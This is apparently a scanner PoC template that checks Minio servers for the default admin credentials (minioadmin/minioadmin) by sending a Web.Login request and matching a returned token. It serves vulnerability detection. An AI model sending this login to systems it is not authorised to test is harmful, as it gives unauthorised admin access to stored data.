minio-default-password: Minio Default Password

2025-08-01 Minio PoC Public

Description

Minio default admin credentials were discovered.

PoC

id: minio-default-password

info:
  name: Minio Default Password
  author: pikpikcu
  severity: high
  description: |-
    Minio default admin credentials were discovered.
  verified: true
  reference:
    - https://docs.min.io/cn/
  tags: minio,default-login
  created: 2023/06/24

rules:
  r0:
    request:
      method: POST
      path: /minio/webrpc
      headers:
        Content-Type: application/json
      body: '{"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"}'
    expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b'"result":') && response.body.bcontains(b'"token":') && response.body.bcontains(b'"jsonrpc":')
expression: r0()

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References

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